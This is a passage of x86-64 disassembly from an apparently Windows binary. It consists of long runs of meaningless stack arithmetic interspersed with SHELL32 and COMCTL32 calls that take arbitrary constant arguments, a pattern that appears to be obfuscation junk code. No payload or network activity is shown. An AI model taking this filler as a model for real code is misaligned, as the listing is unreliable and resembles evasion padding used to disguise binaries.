movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x523]
or eax, ecx
mov byte [rsp + 0x514], al
mov rax, qword [rsp + 0xd6d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa5f0]
shl rax, cl
mov qword [rsp + 0xd288], rax
mov rax, qword [rsp + 0xd5d0]
mov rax, qword [rax]
mov qword [rsp + 0xe248], rax
mov rax, qword [0x14019efc8]
mov ecx, dword [rsp + 0x6804]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6e44], eax
mov rax, qword [rsp + 0xd628]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x148]
sub eax, ecx
mov byte [rsp + 0x12b], al
movsx eax, word [rsp + 0x201c]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2d48], ax
movzx eax, word [rsp + 0x2b58]
movzx ecx, word [rsp + 0x2d38]
or eax, ecx
mov word [0x14019f0a4], ax
lea rcx, [rsp + 0xd1f8]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0xd580], rax
mov rax, qword [rsp + 0xd288]
movzx ecx, al
mov rax, qword [rsp + 0xcf48]
sar rax, cl
mov qword [rsp + 0x9a60], rax
lea rax, [rsp + 0x2728]
mov qword [rsp + 0xe250], rax
lea rcx, [rsp + 0x1e430]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0xcf98], rax
movsx eax, word [rsp + 0x2c80]
movsx ecx, word [rsp + 0x1f68]
sub eax, ecx
mov word [rsp + 0x2b94], ax
lea r9, [rsp + 0xd520]
lea r8, [rsp + 0x1e3b0]
lea rdx, [rsp + 0x225a0]
mov rcx, qword [rsp + 0xd5b8]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x6dac], eax
mov rax, qword [rsp + 0xde88]
mov rax, qword [rax]
mov qword [rsp + 0xe258], rax
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov rcx, qword [0x14019f098]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9fe0], rax
mov rax, qword [rsp + 0xd0d0]
mov ecx, dword [rsp + 0x6804]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6774], eax
lea rax, [rsp + 0x64]
mov qword [rsp + 0xe260], rax
movzx eax, word [0x14019f0e4]
movzx ecx, word [rsp + 0x28e0]
xor eax, ecx
mov word [rsp + 0x2d4c], ax
mov rax, qword [rsp + 0xdd30]
mov rax, qword [rax]
mov qword [0x14019f2d8], rax
mov rax, qword [rsp + 0xdb30]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdbc8]
mov qword [rsp + 0xe268], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe268]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x64c4], eax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3fb], al
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1dfc]
or eax, ecx
mov word [rsp + 0x10c8], ax
lea r8, [rsp + 0x20890]
lea rdx, [rsp + 0x1e058]
mov ecx, 0x30
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x6e4c], eax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
mov word [rsp + 0x2d60], ax
mov rax, qword [rsp + 0xd608]
mov rax, qword [rax]
mov rcx, qword [0x14019f010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd5d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdff0]
mov eax, dword [rax]
mov dword [rsp + 0x6ef4], eax
mov rax, qword [rsp + 0xe058]
movsx eax, byte [rax]
movsx ecx, byte [str.mA8xd_v0]
add eax, ecx
mov byte [rsp + 0x53f], al
movsx eax, word [rsp + 0x2cdc]
movsx ecx, word [rsp + 0x2ab4]
sub eax, ecx
mov word [rsp + 0x14d0], ax
movzx eax, word [rsp + 0x2b4c]
mov rcx, qword [rsp + 0xd5f0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14019f0d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xe0c0]
movzx ecx, al
mov rax, qword [0x14019f110]
shl rax, cl
mov qword [rsp + 0xdcd8], rax
mov rax, qword [rsp + 0x9ef8]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
sar rax, cl
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xdda0]
mov rax, qword [rax]
mov qword [rsp + 0xe270], rax
mov rax, qword [0x14019efb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a8c]
add eax, ecx
mov word [rsp + 0xe3c], ax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd0a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2f4], al
mov rax, qword [rsp + 0xd5d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe018]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbfa0], rax
mov rax, qword [rsp + 0xe1f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6de8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d20], eax
mov eax, dword [rsp + 0x5e88]
mov dword [rsp + 0x6ef8], eax
movzx eax, byte [0x14019ef90]
mov rcx, qword [rsp + 0xdc50]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x45a], al
movsx eax, word [rsp + 0x2b78]
movsx ecx, word [rsp + 0x2ce8]
sar eax, cl
mov word [0x14019f264], ax
mov rax, qword [rsp + 0xd828]
movzx eax, word [rax]
mov rcx, qword [0x14019f100]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1bf0], ax
movzx eax, word [rsp + 0xe74]
mov rcx, qword [rsp + 0xd700]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1cf4], ax
mov rax, qword [rsp + 0xe080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd088]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd128], rax
lea rax, [0x14019f2a0]
mov qword [rsp + 0xe278], rax
mov rax, qword [rsp + 0xe058]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x76]
add eax, ecx
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0xdbd8]
mov eax, dword [rax]
mov dword [rsp + 0x6efc], eax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1af8]
sub eax, ecx
mov word [rsp + 0x1d18], ax
movzx eax, word [rsp + 0x2b14]
movzx ecx, word [rsp + 0x2d20]
sar eax, cl
mov word [rsp + 0x2648], ax
mov rax, qword [rsp + 0xd298]
mov rax, qword [rax]
mov qword [0x14019f2e0], rax
movzx eax, word [0x14019d05c]
mov word [rsp + 0x2d64], ax
mov rax, qword [rsp + 0xdfc0]
movzx ecx, al
mov rax, qword [rsp + 0x93b0]
shl rax, cl
mov qword [rsp + 0xd638], rax
mov rax, qword [rsp + 0xe080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdc38]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb98], rax
movsx eax, byte [0x14019d011]
mov rcx, qword [rsp + 0xdd48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties], al
mov rax, qword [rsp + 0xdbe0]
mov rax, qword [rax]
mov qword [rsp + 0xe280], rax
movzx eax, byte [rsp + 0x521]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x548], al
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov ecx, dword [0x14019efac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d58], eax
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6db8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6978], eax
movsx eax, word [rsp + 0x1244]
movsx ecx, word [rsp + 0xe78]
sub eax, ecx
mov word [0x14019f080], ax
mov rax, qword [rsp + 0xddb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd470]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2ab4], ax
mov rax, qword [rsp + 0xddc0]
movzx eax, word [rax]
mov word [rsp + 0x2d68], ax
movzx eax, word [0x14019f0a4]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x22a8], ax
mov rax, qword [rsp + 0xe1f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6d4c]
shr eax, cl
mov dword [rsp + 0x654c], eax
movzx eax, byte [rsp + 0x506]
mov byte [rsp + 0x550], al
lea r9, [rsp + 0xd4e8]
lea r8, [rsp + 0x1e068]
mov edx, 0xdf
mov rcx, qword [rsp + 0xe288]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov qword [rsp + 0xe288], rax
mov rax, qword [rsp + 0xd678]
mov rcx, qword [0x14019f218]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdc58], rax
movsx eax, word [rsp + 0x2bac]
movsx ecx, word [rsp + 0x252c]
add eax, ecx
mov word [rsp + 0x1a3c], ax
movzx eax, word [rsp + 0x183c]
movzx ecx, word [0x14019d0c8]
add eax, ecx
mov word [rsp + 0x2ad4], ax
xor r8d, r8d
lea rdx, [rsp + 0x6cb8]
lea rcx, [rsp + 0x21990]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0xcf78], rax
mov rax, qword [rsp + 0xd940]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ff8]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d1a0], rax
mov rax, qword [rsp + 0xe098]
mov rcx, qword [rsp + 0xd408]
mov qword [rsp + 0xe290], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe290]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd558], rax
mov dword [rsp + 0x28], 0x3a
lea rax, [rsp + 0x6bc4]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xce18]
mov r8d, 0xa4
mov edx, 0x4e
mov rcx, qword [rsp + 0xe298]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x6be0], eax
mov rax, qword [0x14019f0e8]
mov qword [rsp + 0xe2a0], rax
mov rax, qword [rsp + 0xdd30]
mov rcx, qword [rsp + 0xdfe8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xdc78], rax
lea rax, [rsp + 0x1804]
mov qword [rsp + 0xe2a8], rax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53e]
sar eax, cl
mov byte [rsp + 0x501], al
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xdd60]
idiv dword [rcx]
mov dword [rsp + 0x6818], eax
mov rax, qword [rsp + 0xd218]
movsx eax, byte [rax]
mov rcx, qword [0x14019f180]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4ec], al
mov rax, qword [rsp + 0xda70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d64]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
lea rax, [rsp + 0xd6c0]
mov qword [0x14019f2e8], rax
mov rax, qword [rsp + 0xde08]
movzx eax, word [rax]
mov word [rsp + 0x2d6c], ax
mov rax, qword [0x14019f088]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a90]
sub eax, ecx
mov word [rsp + 0x2c24], ax
lea rax, [rsp + 0xc9c]
mov qword [rsp + 0xe2b0], rax
mov rax, qword [rsp + 0xd940]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xddf8]
mov qword [rsp + 0xe2b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe2b8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xd780]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdf20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd960]
mov qword [rsp + 0xe2c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe2c0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x632c], eax
mov rax, qword [rsp + 0xd438]
movzx eax, byte [rax]
mov byte [rsp + 0x551], al
mov rax, qword [rsp + 0xd5d0]
mov rcx, qword [rsp + 0x9fe0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb658], rax
movsx eax, word [0x14019f0cc]
movsx ecx, word [rsp + 0x2b78]
sub eax, ecx
mov word [rsp + 0x14b0], ax
movzx eax, word [rsp + 0x2380]
movzx ecx, word [rsp + 0x2b08]
add eax, ecx
mov word [0x14019d084], ax
mov rax, qword [rsp + 0xd388]
mov rcx, qword [rsp + 0x91a8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xdd30]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe2a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d0c]
add eax, ecx
mov word [rsp + 0x2a60], ax
mov rax, qword [rsp + 0xd9e0]
movzx eax, byte [rax]
mov byte [rsp + 0x552], al
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6450]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6920], eax
mov rax, qword [rsp + 0xdfa8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd0d0]
mov qword [rsp + 0xe2c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe2c8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x64bc], eax
movsx eax, byte [rsp + 0x252]
movsx ecx, byte [0x14019ef91]
or eax, ecx
mov byte [rsp + 0x3c7], al
mov rax, qword [rsp + 0xdea8]
mov rcx, qword [rsp + 0xdb10]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x96b0], rax
movzx eax, word [rsp + 0x28ac]
mov word [rsp + 0x2d70], ax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
mov word [0x14019f2f0], ax
mov rax, qword [rsp + 0xdb50]
mov rcx, qword [0x14019d088]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc048], rax
mov rax, qword [rsp + 0xc418]
mov rcx, qword [rsp + 0xd5a0]
mov qword [rsp + 0xe2d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe2d0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc468], rax
movsx eax, word [rsp + 0x1a3c]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1340], ax
movzx eax, word [rsp + 0x2b88]
mov word [rsp + 0x2d74], ax
mov rax, qword [rsp + 0xdd88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe1a8]
mov qword [rsp + 0xe2d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe2d8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5e40], eax
movsx eax, byte [0x14019ef96]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd218]
mov byte [rcx], al
mov rax, qword [rsp + 0xda68]
mov qword [rsp + 0xe2e0], rax
mov rax, qword [rsp + 0xdfa0]
mov rcx, qword [rsp + 0xda20]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9b60], rax
mov rax, qword [0x14019f190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdf90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019ef94], ax
movzx eax, word [rsp + 0x22a8]
mov rcx, qword [rsp + 0xddc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b94], ax
movzx eax, byte [rsp + 0x45a]
mov rcx, qword [rsp + 0xd550]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0xdd60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d80], eax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov qword [rsp + 0xe2e8], rax
mov rax, qword [rsp + 0xdd48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x347], al
mov rax, qword [rsp + 0xd1e8]
mov rcx, qword [rsp + 0xdb78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb028], rax
xor edx, edx
mov eax, dword [rsp + 0x6cf0]
div dword [rsp + 0x5fd8]
mov dword [rsp + 0x6ebc], eax
mov rax, qword [rsp + 0xd5b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a50]
and eax, ecx
mov word [rsp + 0x1994], ax
movzx eax, word [rsp + 0x2d64]
movzx ecx, word [rsp + 0x2ca4]
xor eax, ecx
mov word [0x14019d178], ax
mov rax, qword [rsp + 0xdda0]
mov rax, qword [rax]
mov qword [rsp + 0xe2f0], rax
mov rax, qword [rsp + 0xd5f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a8]
sar eax, cl
mov word [rsp + 0x2b2c], ax
movzx eax, word [rsp + 0x13dc]
mov word [rsp + 0x2d78], ax
mov rax, qword [rsp + 0xd980]
mov rcx, qword [rsp + 0xd220]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd310], rax
lea rax, [rsp + 0x149]
mov qword [rsp + 0xe2f8], rax
mov eax, dword [rsp + 0x5b50]
movzx ecx, al
mov eax, dword [rsp + 0x68dc]
shl eax, cl
mov dword [rsp + 0x6b54], eax
mov rax, qword [rsp + 0xd570]
mov rcx, qword [rsp + 0xb650]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xda38], rax
mov rax, qword [rsp + 0xd8c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a78]
sub eax, ecx
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xdda0]
mov rcx, qword [0x14019f050]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14019d1a8], rax
mov rcx, qword [rsp + 0xce40]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x6e68], eax
mov rax, qword [rsp + 0xdb30]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd480]
mov qword [rsp + 0xe300], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe300]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6e3c], eax
lea rdx, [rsp + 0xd540]
lea rcx, [rsp + 0x6d24]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x6d18], eax
mov rax, qword [rsp + 0xdd98]
movzx eax, byte [rax]
mov byte [rsp + 0x553], al
mov rax, qword [rsp + 0xd5b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd7b8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1b04], ax
movzx eax, word [rsp + 0x2be0]
mov rcx, qword [rsp + 0xd8c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d38], ax
mov rax, qword [rsp + 0xd248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcc00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb698], rax
mov rax, qword [rsp + 0xdc60]
mov ecx, dword [rsp + 0x69f8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6e78], eax
mov r9d, 0xdb
mov r8d, 0xa3
mov edx, 0x29
mov rcx, qword [rsp + 0xd2c8]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
lea rax, [rsp + 0x2db]
mov qword [rsp + 0xe308], rax
movsx eax, word [rsp + 0x1d00]
mov rcx, qword [0x14019f190]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14d0], ax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a80]
sar eax, cl
mov word [0x14019f2a8], ax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcb98]
shl rax, cl
mov qword [rsp + 0x92b0], rax
mov rax, qword [rsp + 0xd5a0]
mov rax, qword [rax]
mov qword [rsp + 0xe310], rax
mov rax, qword [rsp + 0xdd68]
mov rcx, qword [rsp + 0xe0e8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xdb88], rax
mov rax, qword [rsp + 0xdb68]
movzx eax, word [rax]
mov word [rsp + 0x2d7c], ax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe1d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x516], al
mov rax, qword [rsp + 0xcfb0]
mov rcx, qword [rsp + 0xdff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6ea0], eax
mov rax, qword [rsp + 0xd678]
mov rcx, qword [rsp + 0xd6e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb160], rax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x2b2]
shl eax, cl
mov byte [rsp + 0x521], al
mov eax, dword [rsp + 0x6e20]
mov dword [rsp + 0x6f00], eax
movzx eax, word [rsp + 0x1a3c]
mov word [0x14019f2f4], ax
movzx eax, word [rsp + 0x2d44]
mov rcx, qword [rsp + 0xdd28]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2434], ax
lea rax, [rsp + 0x1fbc]
mov qword [rsp + 0xe318], rax
mov rax, qword [rsp + 0xcf48]
movzx ecx, al
mov rax, qword [rsp + 0xd768]
sar rax, cl
mov qword [rsp + 0x91a8], rax
lea r9, [rsp + 0xd140]
mov r8d, 0x4d
mov edx, 0x74
mov rcx, qword [rsp + 0xcf90]
call sub.VERSION.dll_GetFileVersionInfoW
mov dword [rsp + 0x6f04], eax
mov rax, qword [0x14019f270]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x522], al
mov rax, qword [rsp + 0xd248]
mov rcx, qword [rsp + 0xc3f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9a78], rax
mov rax, qword [rsp + 0xe0a0]
mov ecx, dword [rsp + 0x6b88]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6894], eax
mov rax, qword [rsp + 0xddb8]
movzx eax, word [rax]
mov word [rsp + 0x2d80], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf84]
and eax, ecx
mov word [rsp + 0xd94], ax
mov rax, qword [0x14019f2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe1e0]
xor rcx, rax
mov rax, rcx
mov qword [0x14019d148], rax
mov rax, qword [rsp + 0xd800]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe318]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a54], ax
mov rax, qword [rsp + 0xb568]
mov qword [rsp + 0xe320], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xd650]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xda78], rax
lea rax, [rsp + 0x522]
mov qword [rsp + 0xe328], rax
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd5d0]
mov qword [rsp + 0xe330], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe330]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xbb48], rax
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov ecx, dword [0x14019efac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e7c], eax
movzx eax, byte [rsp + 0x517]
movzx ecx, byte [rsp + 0x4f]
add eax, ecx
mov byte [rsp + 0x22e], al
mov rax, qword [rsp + 0xde78]
mov rcx, qword [0x14019f158]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6edc], eax
mov rax, qword [rsp + 0xe0b8]
movzx eax, word [rax]
mov word [0x14019f2f8], ax
mov rax, qword [rsp + 0xd7b8]
movzx eax, word [rax]
mov word [rsp + 0x2d84], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba4]
sub eax, ecx
mov word [rsp + 0x2bdc], ax
mov rax, qword [0x14019f220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd828]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2ac4], ax
movsx eax, byte [rsp + 0x329]
movsx ecx, byte [rsp + 0x149]
shl eax, cl
mov byte [rsp + 0xc3], al
mov rax, qword [rsp + 0xd110]
mov rcx, qword [rsp + 0xc1a0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xdea8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdd50]
mov eax, dword [rax]
mov dword [rsp + 0x6f08], eax
movsx eax, word [rsp + 0x2c68]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd398]
mov word [rcx], ax
movzx eax, word [rsp + 0x2b84]
movzx ecx, word [rsp + 0x26d0]
add eax, ecx
mov word [rsp + 0x2010], ax
mov rax, qword [rsp + 0xc880]
mov rcx, qword [rsp + 0xb4e0]
xor rcx, rax
mov rax, rcx
mov qword [0x14019efe8], rax
mov rax, qword [rsp + 0xda20]
mov rcx, qword [str.sXp]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xcfe0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd940]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb340]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdc38], rax
mov rax, qword [rsp + 0xa3d0]
mov qword [rsp + 0xe338], rax
movzx eax, word [rsp + 0x2a3c]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2d2c], ax
mov eax, dword [rsp + 0x6d34]
mov dword [rsp + 0x6f0c], eax
movzx eax, byte [rsp + 0x52d]
movzx ecx, byte [rsp + 0x523]
or eax, ecx
mov rcx, qword [rsp + 0xd1a0]
mov byte [rcx], al
mov eax, dword [rsp + 0x5ef8]
movzx ecx, al
mov eax, dword [rsp + 0x6ecc]
shr eax, cl
mov dword [rsp + 0x5ab4], eax
lea rax, [rsp + 0x4ab]
mov qword [rsp + 0xe340], rax
mov rax, qword [rsp + 0x9400]
mov rcx, qword [rsp + 0x9538]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d1b0], rax
movsx eax, word [0x14019d094]
mov rcx, qword [rsp + 0xddb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2794], ax
lea rax, [rsp + 0x151c]
mov qword [rsp + 0xe348], rax
mov rax, qword [rsp + 0xdf78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ce0]
add eax, ecx
mov word [rsp + 0xd60], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0x9ff8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xdab8], rax
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x69fc]
shr eax, cl
mov dword [rsp + 0x6998], eax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd438]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x329], al
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov qword [rsp + 0xe350], rax
movsx eax, word [rsp + 0x2d7c]
mov rcx, qword [rsp + 0xdf90]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x20a8], ax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
mov rcx, qword [0x14019f230]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14019f128], ax
mov rax, qword [rsp + 0xd2a0]
mov rcx, qword [rsp + 0xd408]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x96d0], rax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d08]
sub eax, ecx
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x501], al
mov rax, qword [rsp + 0xdb30]
mov eax, dword [rax]
mov dword [rsp + 0x6f10], eax
mov rax, qword [rsp + 0xe1d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties]
or eax, ecx
mov byte [rsp + 0x4ab], al
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov qword [rsp + 0xe358], rax
mov eax, dword [rsp + 0x6db0]
movzx ecx, al
mov eax, dword [rsp + 0x6cf0]
shl eax, cl
mov dword [rsp + 0x632c], eax
movsx eax, word [rsp + 0x162c]
movsx ecx, word [0x14019d10c]
sub eax, ecx
mov word [rsp + 0x10c8], ax
